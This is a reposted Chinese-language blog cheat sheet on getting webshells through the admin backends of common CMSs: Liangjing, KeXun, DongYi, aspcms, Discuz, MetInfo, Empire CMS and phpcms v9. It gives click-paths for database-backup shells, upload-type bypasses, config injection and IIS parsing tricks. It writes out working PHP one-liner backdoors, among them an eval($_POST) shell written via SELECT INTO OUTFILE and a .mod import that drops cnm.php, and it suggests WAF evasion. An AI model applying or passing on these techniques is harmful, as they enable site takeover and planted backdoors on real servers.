常見cms
良精、科訊、動易、aspcms、dz
米拓cms、phpcms2008、帝國cms、phpv9
phpweb、dedecms
良精
方法：
1、資料庫備份拿shell
上傳圖片——點擊資料庫備份——改為腳本格式——添加賬號，講一句話添加在用戶名處——備份——改為腳本格式
2、雙檔案上傳
3、配置插馬
4、修改檔案上傳型別直接上傳
科訊（用IE）
/admin/admin.asp 后臺路徑
1、利用決議漏洞
2、設定——網站基本資訊設定——默認允許上傳檔案型別，將asp改為aaspsp（會將asp替換為空）
內容——圖片添加——上傳時改為aaspsp
設定——基本設定——其它選項——通用頁面目錄——html/a.asp/（目錄決議）——標簽——自定義靜態標簽——增加靜態標簽——插入一句話——自定義頁面——生成一個頁面，會在a.asp目錄下
動易（學校，簡單的企業）
在網站配置中插馬——連接inc/config.asp檔案
資料庫備份
雙檔案上傳
aspcms
界面風格——編輯模板/css檔案（利用IIS6.0決議漏洞）——添加——檔案系統——a.asp;html——內容插入一句話
拓展功能——幻燈片設定——插馬
dz
uckey或利用插件上傳（常見的網站discuz x2.5）
后臺 admin.php或cu_server
站長——ucenter設定（通過配置插馬，閉合拿shell）
站長——資料庫備份（或短檔案漏洞）
米拓cms
metinfo 5.3.18 install/phpinfo.php——里面能找到網站根目錄
后臺 admin/index.php （上傳圖片馬 包含檔案）
后臺——安全——資料庫備份——下載——打開（txt）——在完整的一句話后面寫入新的一句話（select “<?php @eval($_POST[A]);?>” into outfile ‘網站根目錄，路徑寫成Linux路徑’）——恢復（一般在晚上沒有資料互動的時候再做）
權限要求很高
帝國cms
empircms-v6.6
127.0.0.1/e/install
后臺：127.0.0.1/e/admin/index.php
后臺——資料表與系統模型——管理資料表——管理系統表模型——匯入系統模型（要導.mod的檔案）——<?fputs(fopen(“cnm.php”,”w”),”<?eval(\$_POST[cmd];)?>”)?>保存為mod檔案，檔案名為aa.php.mod——記住匯入的目錄路徑/e/admin/cnm.php
注意：匯入時候可能會有waf，可以在腳本中加入免殺的一句話
phpv9
phpcms_v9.6.3_GBK
127.0.0.1/install
后臺——界面——模板風格——詳情串列——search——編輯插馬
后臺——phpsso——系統管理——ucenter配置——uc_config.php中 ‘);eval($_post[a]);#
后臺——內容——專題 phpv9低權限拿shell
phpweb
dedecmd
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/175732.html
標籤：其他